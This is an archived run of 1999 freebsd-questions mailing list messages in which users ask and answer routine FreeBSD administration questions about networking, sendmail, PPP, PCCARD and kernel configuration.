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From owner-freebsd-questions  Mon Mar 22 23:22: 4 1999
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On Mon, 22 Mar 1999, Mike O'Brien wrote:
> 	Sounds dangerous.  How can I check this info before rendering
> my drive useless by loading bogus firmware?

That I don't know... however, there is an "Atlas-I/migrate.txt" which
has a table describing which file goes with which drive, and the naming
convention is very similar to the Capella's. Also, I think the qshr_ldr
utility will let you see which drives a firmware file is for (as well as
print info about your drive).

Sorry I'm not very specific :) It's been a while since I updated my
drives...



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From owner-freebsd-questions  Mon Mar 22 23:22:38 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from hummer.globotech.dyndns.org (24.64.228.185.ab.wave.home.com [24.64.228.185])
	by hub.freebsd.org (Postfix) with ESMTP id 73620152E3
	for <freebsd-questions@FreeBSD.ORG>; Mon, 22 Mar 1999 23:22:16 -0800 (PST)
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	(envelope-from root@globotech.dyndns.org)
Date: Tue, 23 Mar 1999 00:21:36 -0700 (MST)
From: Charlie ROOT <root@globotech.dyndns.org>
To: freebsd-questions@FreeBSD.ORG
Subject: arpresolve error
Message-ID: <Pine.BSF.4.05.9903230018100.617-100000@hummer.globotech.dyndns.org>
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I keep getting this message in the /var/log/messages file once in a while:

Mar 23 00:06:42 hummer /kernel: arpresolve: can't allocate llinfo for
127.0.0.1rt
Mar 23 00:06:54 hummer /kernel: arplookup 127.0.0.1 failed: could not
allocate llinfo

Here's what netstat -rn shows:

Destination        Gateway            Flags     Refs     Use     Netif
Expire
default            24.64.228.1        UGSc        8      304     fxp0
24.64.228/24       link#1             UC          0        0     fxp0
24.64.228.1        8:0:3e:0:98:99     UHLW        8        0     fxp0
978
24.64.228.185      127.0.0.1          UGHS        0       10     fxp0
127.0.0.1          127.0.0.1          UH          2      107      lo0
192.168            link#2             UC          0        0     fxp1
192.168.0.2        0:10:4b:73:c5:a6   UHLW        3    92790     fxp1
1094
192.168.0.255      ff:ff:ff:ff:ff:ff  UHLWb       4      170     fxp1

and this is what i get from ifconfig -a

fxp0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 24.64.228.185 netmask 0xffffff00 broadcast 24.64.228.255
        ether 00:a0:c9:cc:13:5f 
        media: autoselect (10baseT/UTP) status: active
        supported media: autoselect 100baseTX <full-duplex> 100baseTX
10baseT/UTP <full-duplex> 10baseT/UTP
fxp1: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 192.168.0.1 netmask 0xffffff00 broadcast 192.168.0.255
        ether 00:a0:c9:b8:c5:a9 
        media: autoselect (10baseT/UTP) status: active
        supported media: autoselect 100baseTX <full-duplex> 100baseTX
10baseT/UTP <full-duplex> 10baseT/UTP
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384

Anyone know how I could fix this?

thank you,
Octavian



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From owner-freebsd-questions  Mon Mar 22 23:23: 7 1999
Delivered-To: freebsd-questions@freebsd.org
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To: "freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>
Subject: Authentication Software
Date: Tue, 23 Mar 99 01:22:55 -0500
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-- [ From: FreeBSD Questions * EMC.Ver #2.5.02 ] --

Hello, I'm using FreeBSD 3.1 and by the moment as my authentication server
Merit AAA Radius.

I need some advice and maybe someone has already figured this out:

1. I need to not allow more than one simultaneous session for the same user.
2. I would like to see who is online and disconnect users at my will
3. Have the authentication server to disconnect or not allow any more logins
to users with more than 20 hrs monthly, so I can charge for extra hours.

Thanks in advance.




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From owner-freebsd-questions  Mon Mar 22 23:37:17 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from panzer.plutotech.com (panzer.plutotech.com [206.168.67.125])
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          Tue, 23 Mar 1999 00:36:26 -0700 (MST)
From: "Kenneth D. Merry" <ken@plutotech.com>
Message-Id: <199903230736.AAA71954@panzer.plutotech.com>
Subject: Re: Odd messages
In-Reply-To: <199903230655.WAA00509@caern.limax.com> from "Mike O'Brien" at "Mar 22, 1999 10:55:53 pm"
To: obrien@leonardo.net (Mike O'Brien)
Date: Tue, 23 Mar 1999 00:36:26 -0700 (MST)
Cc: khym@bga.com, freebsd-questions@FreeBSD.ORG,
	freebsd-scsi@FreeBSD.ORG
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Mike O'Brien wrote...
> > ...IIRC, the C1*.FUP files are for the 1gig version and the C2*.FUP files
> > are for the 2gig. The ones with "W" are for the wide versions.
> 
> 	Sounds dangerous.  How can I check this info before rendering
> my drive useless by loading bogus firmware?

IIRC, their loader either doesn't let you load the wrong firmware, or will
tell you which drives the firmware is for.

I always just do a 'strings' on the firmware binary first.  You'll see the
byte-swapped model numbers that the firmware is intended for.

For instance, this is from the Atlas II DAGNLYK8.FUP firmware file (which
is intended for the 4G Atlas II drives):

PX4355S0        
==> XP34550S
UFCPtsnIof  
==> FUPCstInfo
 FE>+
PX4355W0        
==>XP34550W
PX4355W0 D      
==>XP34550WD
PX4355J0        
==>XP34550J

Easy enough.

Ken
-- 
Kenneth Merry
ken@plutotech.com


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From owner-freebsd-questions  Mon Mar 22 23:45:37 1999
Delivered-To: freebsd-questions@freebsd.org
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	(envelope-from ben@scientia.demon.co.uk)
Date: Mon, 22 Mar 1999 21:43:18 +0000
From: Ben Smithurst <ben@scientia.demon.co.uk>
To: Christopher Michaels <ChrisMic@clientlogic.com>
Cc: Jonathan Chen <jonc@pinnacle.co.nz>,
	freebsd-questions@FreeBSD.ORG
Subject: Re: Changing groups
Message-ID: <19990322214318.A99153@scientia.demon.co.uk>
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Christopher Michaels wrote:

> I did notice something to the effect but I wasn't sure.. my questions is..
> does this apply even if the user isn't a member of that group?

Yes.

-- 
Ben Smithurst
ben@scientia.demon.co.uk

send a blank message to ben+pgp@scientia.demon.co.uk for PGP key


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From owner-freebsd-questions  Tue Mar 23  0:14:26 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from apotheosis.za.org (apotheosis.cs.uct.ac.za [137.158.128.26])
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	for <freebsd-questions@freebsd.org>; Tue, 23 Mar 1999 00:14:07 -0800 (PST)
	(envelope-from lonewolf@apotheosis.za.org)
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Date: Tue, 23 Mar 1999 10:12:37 +0200
From: Lonewolf <lonewolf@apotheosis.za.org>
To: jdunn@aquezada.com
Cc: freebsd-questions@freebsd.org
Subject: Re: sshd won't do X11 forwarding
Mail-Followup-To: jdunn@aquezada.com, freebsd-questions@freebsd.org
References: <19990322152017.A27766@apotheosis.za.org> <XFMail.990323011108.jdunn@aquezada.com>
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On Tue, Mar 23, 1999 at 01:11:08AM -0500, Julian C. Dunn wrote:
> I'm not running tcp_wrappers. Is it necessary?
No, it's not necessary, but if you have ssh compiled with libwrap support, you
need to have something like:
sshdfwd-X11 : .my.domain : ALLOW
in your hosts.allow, depending on the rest of your rules.

> Also, here's my sshd_config. I see that "X11Fowarding" is "on".
Your sshd_config is identicle to mine (and mine does X11 forwarding just
dandy).

> Also, to the person who suggested I run xdm, I want to be able to do it
[ snip ]
XDM isn't going to affect this at all.

Could you perhaps cut-and-paste the output of an ssh -v xmachine (verbose) for
us to look at?

--
lonewolf@apotheosis.za.org
http://apotheosis.za.org


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From owner-freebsd-questions  Tue Mar 23  0:26: 6 1999
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From: "juan guo" <guojuan71@hotmail.com>
To: freebsd-questions@freebsd.org
Subject: a question of sendmail
Date: Tue, 23 Mar 1999 00:25:45 PST
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Hi,sir/madam:
 I am using freebsd 2.2.7 as a virual host,there is a question with
my system as following:when I need restart my sendmail process,because
sendmail is located in /etc/rc,I must reboot my computer.if there is
some way to restart sendmail only,could you help me.
thanks and regards.
                                     your sincerely guo juan
Get Your Private, Free Email at http://www.hotmail.com


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From owner-freebsd-questions  Tue Mar 23  0:27:18 1999
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From: "guojuan" <guojuan@public.intercom.com.cn>
To: <freebsd-questions@FreeBSD.ORG>
Subject: a question of sendmail
Date: Tue, 23 Mar 1999 16:09:45 +0800
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This is a multi-part message in MIME format.

------=_NextPart_000_0004_01BE7547.913A56C0
Content-Type: text/plain;
	charset="gb2312"
Content-Transfer-Encoding: quoted-printable

Hi,sir/madam
 I am using freebsd 2.2.7 as a virual host,there is a question with
my system as following:when I need restart sendmail process,because =
sendmail is located in /etc/rc,I should reboot my computer.if there
is some way to restart sendmail process only? could you help me.
thanks and regards.

------=_NextPart_000_0004_01BE7547.913A56C0
Content-Type: text/html;
	charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Dgb2312 http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Hi,sir/madam</FONT></DIV>
<DIV><FONT size=3D2>&nbsp;I am using freebsd 2.2.7 as a virual =
host,there is a=20
question with</FONT></DIV>
<DIV><FONT size=3D2>my system as following:when I need restart sendmail=20
process,because sendmail is located in /etc/rc,</FONT><FONT size=3D2>I =
should=20
reboot my computer.if there</FONT></DIV>
<DIV><FONT size=3D2>is some way to restart sendmail process only? could =
you help=20
me.</FONT></DIV>
<DIV><FONT size=3D2>thanks and regards.</FONT></DIV></BODY></HTML>

------=_NextPart_000_0004_01BE7547.913A56C0--



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From owner-freebsd-questions  Tue Mar 23  0:29:59 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from corp.au.triax.com (slwag2p02.ozemail.com.au [203.108.157.50])
	by hub.freebsd.org (Postfix) with ESMTP id 533AB15351
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	Tue, 23 Mar 1999 19:28:07 +1100 (EST)
Date: Tue, 23 Mar 1999 19:28:07 +1100
From: Jim Mock <jim@corp.au.triax.com>
To: juan guo <guojuan71@hotmail.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: a question of sendmail
Message-ID: <19990323192806.A46513@corp.au.triax.com>
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On Tue, 23 Mar 1999 at 00:25:45 -0800, juan guo wrote:
> Hi,sir/madam:
> I am using freebsd 2.2.7 as a virual host,there is a question with
> my system as following:when I need restart my sendmail process,
> because sendmail is located in /etc/rc,I must reboot my computer.if
> there is some way to restart sendmail only, could you help me.
>

killall -HUP sendmail will do it

-- 
Jim Mock  System Administrator  jim@corp.au.triax.com  ,-._|\  FreeBSD
work:  Triax Internet Services  http://www.triax.com/ /      \ The
personal:  http://www.triax.com/~jim/                 \_,--._/ Power To
The FreeBSD 'zine  http://www.freebsdzine.org/              v  Serve!


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From owner-freebsd-questions  Tue Mar 23  0:46: 5 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from lagoon.freebsd.org.pl (lagoon.freebsd.org.pl [194.92.16.30])
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	(envelope-from venglin@lagoon.freebsd.org.pl)
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Message-ID: <19990323084538.6871.qmail@lagoon.freebsd.org.pl>
Subject: ``Can't allocate memory''
To: freebsd-questions@freebsd.org
Date: Tue, 23 Mar 1999 09:45:37 +0100 (CET)
From: Przemyslaw Frasunek <venglin@lagoon.freebsd.org.pl>
X-Operating-System: FreeBSD 2.2.8-STABLE
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I have strange problem with heavly loaded machine (486 DX4, 40 MB RAM, 260 MB
Swap) running FreeBSD 2.2.8-STABLE.

Average once per two weeks, one or a few procceses (usually w, uptime or top, 
sometimes qmail or shell) dies with ``Can't allocate memory'' message.

Probably that's not a hardware problem (I've obserwed this behavior on other
my servers).

Can you help me with it?

My kernel config:

machine		"i386"
cpu		"I486_CPU"
ident		AWC
maxusers 	128

options		INET
options		FFS
options		PROCFS
options		"COMPAT_43"
options		SCSI_DELAY=15
options		BOUNCE_BUFFERS
options		UCONSOLE
options		USERCONFIG
options		VISUAL_USERCONFIG
options		SYSVSHM
options		SYSVSEM
options		SYSVMSG
options		USER_LDT
options		COMPAT_LINUX
options		QUOTA
options		"NO_F00F_HACK"
options		"AUTO_EOI_1"
options		"AUTO_EOI_2"
options		IPFIREWALL
options		IPFIREWALL_DEFAULT_TO_ACCEPT
options		CHILD_MAX=512
options		OPEN_MAX=512

config		kernel	root on wd0

controller	isa0
controller	pci0

controller	wdc0	at isa? port "IO_WD1" bio irq 14 flags 0x80ff80ff vector wdintr
disk		wd0	at wdc0 drive 0
disk		wd1	at wdc0 drive 1

device		sc0	at isa? port "IO_KBD" tty irq 1 vector scintr

device		npx0	at isa? port "IO_NPX" irq 13 vector npxintr

device ed0 at isa? port 0x280 net irq  10 iomem 0xd8000 vector edintr

device          sio0    at isa? port "IO_COM2" tty irq 3 vector siointr

pseudo-device	loop
pseudo-device	ether
pseudo-device	log
pseudo-device	pty	128
pseudo-device	gzip
pseudo-device 	bpfilter 4
pseudo-device	vn 	4
pseudo-device	snp 	3
pseudo-device	ppp	2
pseudo-device	tun	1

My dmesg:

Copyright (c) 1992-1998 FreeBSD Inc.
Copyright (c) 1982, 1986, 1989, 1991, 1993
	The Regents of the University of California.  All rights reserved.

FreeBSD 2.2.8-STABLE #0: Thu Mar 11 17:19:54 CET 1999
    venglin@lagoon.freebsd.org.pl:/usr/tmp/sys/compile/AWC
CPU: i486DX (486-class CPU)
real memory  = 41943040 (40960K bytes)
avail memory = 39047168 (38132K bytes)
Probing for devices on PCI bus 0:
ed1 <NE2000 PCI Ethernet (ProLAN)> rev 11 int a irq 11 on pci0:12:0
ed1: address 00:20:18:80:f4:a2, type NE2000 (16 bit) 
chip0 <generic PCI bridge (vendor=1060 device=8881 subclass=0)> rev 1 on pci0:16:0
chip1 <generic PCI bridge (vendor=1060 device=886a subclass=1)> rev 1 on pci0:18:0
Probing for devices on the ISA bus:
sc0 at 0x60-0x6f irq 1 on motherboard
sc0: MDA/hercules <16 virtual consoles, flags=0x0>
ed0 not found at 0x280
sio0: configured irq 3 not in bitmap of probed irqs 0
sio0 not found at 0x2f8
wdc0 at 0x1f0-0x1f7 irq 14 flags 0x80ff80ff on isa
wdc0: unit 0 (wd0): <SAMSUNG VG34323A    (4.32GB)>, 32-bit, multi-block-16
wd0: 4124MB (8446032 sectors), 14896 cyls, 9 heads, 63 S/T, 512 B/S
npx0 on motherboard
npx0: INT 16 interface
IP packet filtering initialized, divert disabled, default to accept, logging disabled

-- 
* Fido: 2:480/124 ** WWW: lagoon.freebsd.org.pl/~venglin ** GSM:48-601-383657 * 
* Inet: venglin@lagoon.freebsd.org.pl ** PGP:D48684904685DF43EA93AFA13BE170BF *


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From owner-freebsd-questions  Tue Mar 23  0:52:53 1999
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I seem to have hung up my FreeBSD 2.2.7 box pretty well, and I thought I'd
see if there was something other than cycling the power that I could do.

I was running the vncviewer on an NT machine and I attempted to build a
port (unzip) before changing to root so it failed.  Then I su'd to root and
built it again, but it hung up during the make, so I removed some temporary
files it created and tried to build it again and it hung the xterm.  I went
to another xterm to try and determine the problem and it wouldn't respond,
so I went to the console and none of the 3 virtual consoles would respond.
vncviewer is still happily running and displaying xload and I can ping the
FreeBSD box from the NT machine, but I can't get into any of the xterms or
virtual consoles. I also can't telnet to it.

The hard disk light is on solid.

Whoa!  That was weird.  I thought it might have had something to do with
the CD ROM since it was being accessed during the build, so I pressed the
eject button on the CD ROM drive.  Normally, this is just ignored when the
drive is mounted ie. it won't open.  But as soon as I pressed the button,
the hard disk light went off and I saw a message something like:

wcd0 tray open
syncing disks
panic automatic reboot in 15 seconds vrele negative ref cnt

I didn't have much time to write it down, so it wasn't exactly like that.
Well at least the disks got sync'd so I guess it was better than cycling
the power.

FreeBSD 2.2.7 installed of Walnut Creek CD
YKM Motherboard
Pentium MMX 200
32 MB RAM
Maxtor 4 GB IDE drive




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From owner-freebsd-questions  Tue Mar 23  1: 2:38 1999
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To: Michael Doyle <relyod@co-operation-ireland.ie>
Cc: questions@FreeBSD.ORG
Subject: Re: PPP Question 
In-reply-to: Your message of "Mon, 22 Mar 1999 18:39:09 GMT."
             <3.0.5.32.19990322183909.007bd700@199.107.2.1> 
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> How do I discover what speed user PPP has connected to the
> remote host (ISP) at ?
> 
> The PPP logs contain the string "CONNECT" but no speed indication,
[......]

And you're using pap, an d you see one hdlc error with each 
connection ?

Have you checked the FAQ (http://www.FreeBSD.org/FAQ/userppp.html) ?

> Mike
> 
> <>< ============================================================ ><>
> Michael Doyle                    email: relyod@co-operation-ireland.ie
> Network Administrator            personal email:    relyod@indigo.ie
> Co-operation Ireland	  http://www.co-operation-ireland.ie/
> Phone: +353-1-661 0588                          Fax: +353-1-661 8456
> 
> *********************************************************************

-- 
Brian <brian@Awfulhak.org> <brian@FreeBSD.org> <brian@OpenBSD.org>
      <http://www.Awfulhak.org>
Don't _EVER_ lose your sense of humour !




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From owner-freebsd-questions  Tue Mar 23  1: 9: 2 1999
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To: "Dan Mahoney Jr." <danm@DanMahoney.com>
Cc: questions@FreeBSD.ORG
Subject: Re: serial cables 
In-reply-to: Your message of "Tue, 23 Mar 1999 00:43:47 EST."
             <Pine.BSF.4.05.9903230039580.29662-100000@acetylene.vapornet.net> 
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AFAIK, most ``laplink'' cables don't come with pins 6 & 8 connected 
to pin 20 on the other side.  The idea behind this cross-over is to 
wire DTR on one side to carrier on the other.

Without carrier, the ttyd devices will block.

> Okay, I've got a question that doesn't directly relate to freebsd, but
> more to hardware...
> 
> For some reason, when I use serial cables, some pin is not being asserted
> and therefore causing serial communications to fail when I try to connect
> my serial terminals...
> 
> I don't know WHICH pin it is, but for some reason the terminals work okay
> when I change the line in /etc/ttys from ttydX to cuaaX where X is the
> port ID.
> 
> I note that this only happens on my 25 pin ports, not on my 9 pin ones,
> which is really just weird.  (And on two separate cards, one generic and
> one from Byte Runner)
> 
> Any help appreciated....
> 
> -Dan Mahoney
> 
> --
> 
> "Let me tell you something about regrowing your dead wife Lucy, Harry.
> It's probably illegal, potentially dangerous, and definitely crazy."
> 
> -Harry nods-
> 
> Vincent Spano, as Boris in "Creator".
> 
> 
> Dan Mahoney
> Gushi on efnet IRC
> ICQ:13735144
> (webpages TBA)

-- 
Brian <brian@Awfulhak.org> <brian@FreeBSD.org> <brian@OpenBSD.org>
      <http://www.Awfulhak.org>
Don't _EVER_ lose your sense of humour !




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From owner-freebsd-questions  Tue Mar 23  1:13:41 1999
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From: Alexander Maret <maret@axis.de>
To: 'Sean O'Connell' <sean@stat.Duke.EDU>
Cc: "'freebsd-mobile@freebsd.org'" <freebsd-mobile@freebsd.org>,
	"'freebsd-questions@freebsd.org'" <freebsd-questions@freebsd.org>
Subject: RE: card0 Device not configured
Date: Tue, 23 Mar 1999 10:13:23 +0100
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Hi Sean,

I'm not sure if FBSD recognizes my PCCARD Controller correctly because
it shows some wired IRQ (255). On the other hand it says that it has
initialized card ed0. Here is the complete dmesg output:

Copyright (c) 1992-1999 FreeBSD Inc.
Copyright (c) 1982, 1986, 1989, 1991, 1993
	The Regents of the University of California. All rights reserved.
FreeBSD 3.1-STABLE #0: Sun Mar 21 13:15:37 CET 1999
    root@lola.darkworld.local:/usr/src/sys/compile/KERNEL
Timecounter "i8254"  frequency 1193182 Hz
CPU: Pentium/P54C (132.17-MHz 586-class CPU)
  Origin = "GenuineIntel"  Id = 0x52c  Stepping=12
  Features=0x1bf<FPU,VME,DE,PSE,TSC,MSR,MCE,CX8>
real memory  = 41943040 (40960K bytes)
avail memory = 38547456 (37644K bytes)
Preloaded elf kernel "kernel" at 0xf024a000.
Probing for devices on PCI bus 0:
chip0: <Host to PCI bridge (vendor=1045 device=c557)> rev 0x00 on pci0.0.0
chip1: <PCI to ISA bridge (vendor=1045 device=c558)> rev 0x00 on pci0.1.0
vga0: <Cirrus Logic GD7543 SVGA controller> rev 0x00 int a irq 255 on
pci0.3.0
chip2: <PCI to PCMCIA bridge (vendor=1013 device=1100)> rev 0xfe int a irq
255 on pci0.4.0
Probing for devices on the ISA bus:
sc0 on isa
sc0: VGA color <16 virtual consoles, flags=0x0>
ed0 not found at 0x280
atkbdc0 at 0x60-0x6f on motherboard
atkbd0 irq 1 on isa
psm0 irq 12 on isa
psm0: model Generic PS/2 mouse, device ID 0
sio0: configured irq 4 not in bitmap of probed irqs 0
sio0 at 0x3f8-0x3ff irq 4 flags 0x10 on isa
sio0: type 8250
sio1: configured irq 3 not in bitmap of probed irqs 0
sio1 not found at 0x2f8
fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa
fdc0: FIFO enabled, 8 bytes threshold
fd0: 1.44MB 3.5in
wdc0 at 0x1f0-0x1f7 irq 14 on isa
wdc0: unit 0 (wd0): <TOSHIBA MK4309MAT>
wd0: 4126MB (8452080 sectors), 8944 cyls, 15 heads, 63 S/T, 512 B/S
wdc0: unit 1 (atapi): <CD-44E/1.0B>, removable, accel, dma, iordis
acd0: drive speed 689KB/sec, 128KB cache
acd0: supported read types: CD-DA
acd0: Audio: play, 256 volume levels
acd0: Mechanism: ejectable tray
acd0: Medium: CD-ROM 120mm data disc loaded, unlocked
ppc0 at 0x378 irq 7 on isa
ppc0: SMC FDC37C665GT chipset (PS2/NIBBLE) in COMPATIBLE mode
nlpt0: <generic printer> on ppbus 0
nlpt0: Interrupt-driven port
ppi0: <generic parallel i/o> on ppbus 0
vga0 at 0x3b0-0x3df maddr 0xa0000 msize 131072 on isa
npx0 on motherboard
npx0: INT 16 interface
Initializing PC-card drivers: ed
Intel Pentium detected, installing workaround for F00F bug

Bye,

  Alex


> Hi Alex-
> 
> As a first question, does dmesg show your PCCARD controller?  What
> IRQ is it being assigned?  It seems to like to use IRQ 3 and if you
> have anything on the IRQ (in your BIOS) it could cause problems. Most
> often caused by I/R port turned on and using COM2.
> 
> After that, make sure that your /etc/pccard.conf has reasonable
> IRQ values.  Also, you may want to set the entry for memory to
> "memory 0xd0000 16k" in /etc/pccard.conf (suggested by Alan DuBoff).
> 
> Good Luck,
> S
> 

> On 1999 Mar 22, Alexander Maret (aka maret@axis.de) wrote:
> > 
> > sorry if this topic has already been discussed, but I'm new to this
> > list and could not find a solution in the archive, though 
> many people
> > had very similar problems.
> > 
> > If I invoke pccardc with the option "pccardmem 0xd0000" I get the 
> > error message: "Device card0 not configured". I'm running FBSD 3.1R.
> > I first tried to remove the kldload command in rc.pccard, 
> and enabled
> > kernel support for device card0 + the pcic entries. As this didn't
> > work I disabled the pcic entries in kernelconfig and reactivated
> > the kldload command in rc.pccard. The same error as above. Then I 
> > read in the archive that some people had to add a card1 device + 
> > more pcic entries in the kernel config file, but even this didn't
> > work for my configuration.
> > 
> > Did anybody solve this problem?
> > 
> > My /dev/card0 is there and i even deleted and remade it 
> several times.
> > I've even added card1, card2, card3 and card4 device.
> > If I do a "pccardc dumpics" I get: "0 devices configured".
> > At boottime I see a message that pccard-device "ed" has been added.


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From owner-freebsd-questions  Tue Mar 23  1:42:45 1999
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Subject: help
Date: Tue, 23 Mar 1999 11:38:49 +0300
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I have installed FreeBSD 3.1 release.
I can't find std.i386.

Please help me or tell me how can I find this file.

Send me answer to radeev@fort.aval.kiev.ua
SanSan


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From owner-freebsd-questions  Tue Mar 23  1:57:17 1999
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At 00.21 23/03/99 -0700, you wrote:
>24.64.228.185      127.0.0.1          UGHS        0       10     fxp0

  Here's the problem. Packets sent to the IP address of your system must
use the 127.0.0.1 gateway (right), passing through fxp0 (wrong). You need
lo0 instead of fxp0, there.

>lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384

  Here's the confirmation: 127.0.0.1 isn't bound to lo0.

>Anyone know how I could fix this?

  Check your /etc/rc.conf[.local]: you need lo0 in the network interfaces
list AND a line like this:

ifconfig_lo0="inet 127.0.0.1"

  Be careful not to have the right line in rc.conf and something resetting
it in rc.conf.local, for example.

---

  Stefano Riva
  Software Engineer - System Administrator
  Informazioni Editoriali I.E. Srl
  Phone +39-027528400, Fax +39-027528451
  Email sriva@alice.it


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From owner-freebsd-questions  Tue Mar 23  2: 5:18 1999
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From: "Bond, Jeffery" <Jeff.Bond@nectech.co.uk>
To: "'Malcolm_Boff@compuserve.com'" <Malcolm_Boff@compuserve.com>
Cc: "'questions@freebsd.org'" <questions@freebsd.org>
Subject: RE: PPP AND Compuserve AND UK
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Hi Malcolm,

I did this a while ago. I can't send you the actual scripts because I don't
have them any more. <PLUG>Compuserve was too slow and unreliable so I
changed to Freeserve</PLUG>. I used 'pppd' rather than using 'ppp' with tun0
interface. The login sequence for PPP on compuserve is a bit weird, so here
goes:

1) After the modem connects, you get a 'hostname: ' prompt, I think you need
to send 'CIS' for the reply. 

2) Next comes the userid prompt, you MUST reply with something like
'userid/GO:PPPCONNECT', 

3) Next, the usual password prompt.

4) Then you just wait for the string 'PPP' and your away! (ie. exit the chat
script and let pppd do the rest). This is all from memory so it may be
inaccurate.

In the login part of the chat script, something like this may do the trick. 

ame: CIS
ID: userid/GO:PPPCONNECT
word: yourpassword

For the rest of the setup info, have a look at my page at
http://www.tech-info.freeserve.co.uk/linux_unix_freesbsd.htm

Obviously, this page is intended to help you connect to Freeserve, but all
you'll need to change for compuserve is the 'chat' script, and the DNS ip's.

Let me know how you get on.

Jeff


>I would appreciate hearing from anyone in the UK who has =
>
>successfully managed to connect into Compuserve and is
>prepared to help me by providing a copy of their setup
>(ppp.conf) etc
>
>I don't want to exclude others connecting via Compuserve but
>wish to isolate differences between the UK and US so please
>respond if you think you might be able to help.
>
>Malcolm G. Boff




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My FreeBSD Box is ready to go.

I have my ISDN modem ( OnRamp Digital Modem, also known as the 3COM Impact
II modem ).

My ISP has given me my ISDN DIAL-UP NUMBER and CHAP username & password.

What do I do next ???

Can you just use pppd & chat as you do with an Analog Modem ???

I would appreciate any help.


Regards, Brendan...



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From owner-freebsd-questions  Tue Mar 23  2:30:35 1999
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From: "Feng" <feng_yu@uclink4.berkeley.edu>
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Subject: Lockup on Boot up
Date: Tue, 23 Mar 1999 02:29:00 -0800
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Hello,

I've posted this on a few newsgroups to no avail so far :

I just tried to install 3.0 the other day.  I get through the installation
fine and put on some packages easily enough.  Then it dumps me to the
seemingly main menu -- no messages, no congrats, nothing.  From this menu, I
browse around, then return always choosing cancel.

When I reboot, the system hangs on an error message "wt0" not detected.  But
if "wt0" is the Wangtek tape drive then I did not select it in the
installation.

I would like to get past this boot-up screen and see more of FreeBSD.

Thanks!

Feng



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From owner-freebsd-questions  Tue Mar 23  2:41:35 1999
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To: "Feng" <feng_yu@uclink4.berkeley.edu>,
	freebsd-questions@freebsd.org
From: Stefano Riva <sriva@alice.it>
Subject: Re: Lockup on Boot up
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At 02.29 23/03/99 -0800, you wrote:
>When I reboot, the system hangs on an error message "wt0" not detected.  But
>if "wt0" is the Wangtek tape drive then I did not select it in the
>installation.

  You don't select the hardware during the installation. FreeBSD installs a
default (GENERIC) kernel w/ support for many things that probably you don't
have.  Enter configuration at boot time (type -c at the boot prompt, then
choose Visual) and disable everything you don't need. When you're able to
boot your system, consider compiling a custom kernel. More info in the
Handbook, on-line at www.freebsd.org.

---

  Stefano Riva
  Software Engineer - System Administrator
  Informazioni Editoriali I.E. Srl
  Phone +39-027528400, Fax +39-027528451
  Email sriva@alice.it


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From owner-freebsd-questions  Tue Mar 23  2:49: 1 1999
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Date: Tue, 23 Mar 1999 12:48:33 +0200 (SAST)
From: Khetan Gajjar <khetan@chain.freebsd.os.org.za>
Reply-To: Khetan Gajjar <khetan@os.org.za>
To: Eric Jacoboni <jaco@titine.fr.eu.org>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: BSD equivalent of Linux 'fuser' command
In-Reply-To: <87ogllhwnt.fsf@titine.fr.eu.org>
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Around Today, "Eric Jacoboni" wrote :

EJ>  Is there a BSD equivalent of the Linux 'fuser' command ?

Yup - fstat(1)

     Fstat identifies open files.  A file is considered open by a process if
     it was explicitly opened, is the working directory, root directory, ac-
     tive executable text, or kernel trace file for that process.  If no op-
     tions are specified, fstat reports on all open files in the system.

It also does sockets.

EJ>  I've read some lines about lsof and try it under Linux (i've not yet
EJ>  installed it from the FBSD ports) but nothing happens with this command
EJ>  under my linux box, so i can't compare :(

lsof is platform independent, but fstat comes with FreeBSD.

---
Khetan Gajjar       (!kg1779) * khetan@os.org.za
http://www.os.org.za/~khetan  * Talk/Finger khetan@chain.freebsd.os.org.za
FreeBSD enthusiast            * http://www2.za.freebsd.org/
Security-wise, NT is a OS with a "kick me" sign taped to it



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From owner-freebsd-questions  Tue Mar 23  3:12:48 1999
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From: Antuan Avdioukhine <antuan@eltex.ru>
To: freebsd-questions@FreeBSD.ORG
Subject: gzip'ped kernel
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People, 
   Where could I find any info how-to create packed mfs mini-systems (such
as boot/mfs floppies for installing)?




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From owner-freebsd-questions  Tue Mar 23  3:15: 4 1999
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Date: Tue, 23 Mar 1999 17:25:37 +0700 (JAVT)
From: Benkbenk <hacky@ti.itb.ac.id>
To: freebsd-questions@freebsd.org
Subject: freebsd 3.1
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i found a problem with my FreeBSD 3.1.
i've configured the kernel, but if i reboot the machine it always
back to default configuration.
The hardware configuration cannot be saved and message "kget , error
buffer size" occured.

How can i solve this???



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From owner-freebsd-questions  Tue Mar 23  3:38:40 1999
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Date: Mon, 22 Mar 1999 22:34:38 -0800
To: "McKloud Van Damme" <mckloudd@hotmail.com>, questions@FreeBSD.ORG
From: The Clark Family <Clark@open.org>
Subject: Re: screen monitor question
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If I remember correctly, this chipset doesn't work with the VGA driver, and
consequently won't work with the graphical X setup utility.

When I last setup the 6326, I found enough useful info on the Xfree site to
make it work.

[RC]


At 10:19 PM 3/22/99 -0800, McKloud Van Damme wrote:
>Hi, Where can i post a questions about this:
>
>  I have FreeBSD 3.1, and I installed it finally, but when it 
>took place to configure XSetup (X11 graphics), the computer
>told me that "It can not change to graphic mode"...
>
>  I have a PII-300 64RAM, 4HD, and a 
>DRMON17  17" monitor from "Digital Research Technologies Company"
>"SiS 6326"
>
>my video card is an AGP ... 
>
>
>
>So, what's wrong with that monitor?  Do I need to download something to 
>be able to use X11... ???
>
>
>thx
> 
>                           McKloud
>Get Your Private, Free Email at http://www.hotmail.com
>
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
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> 



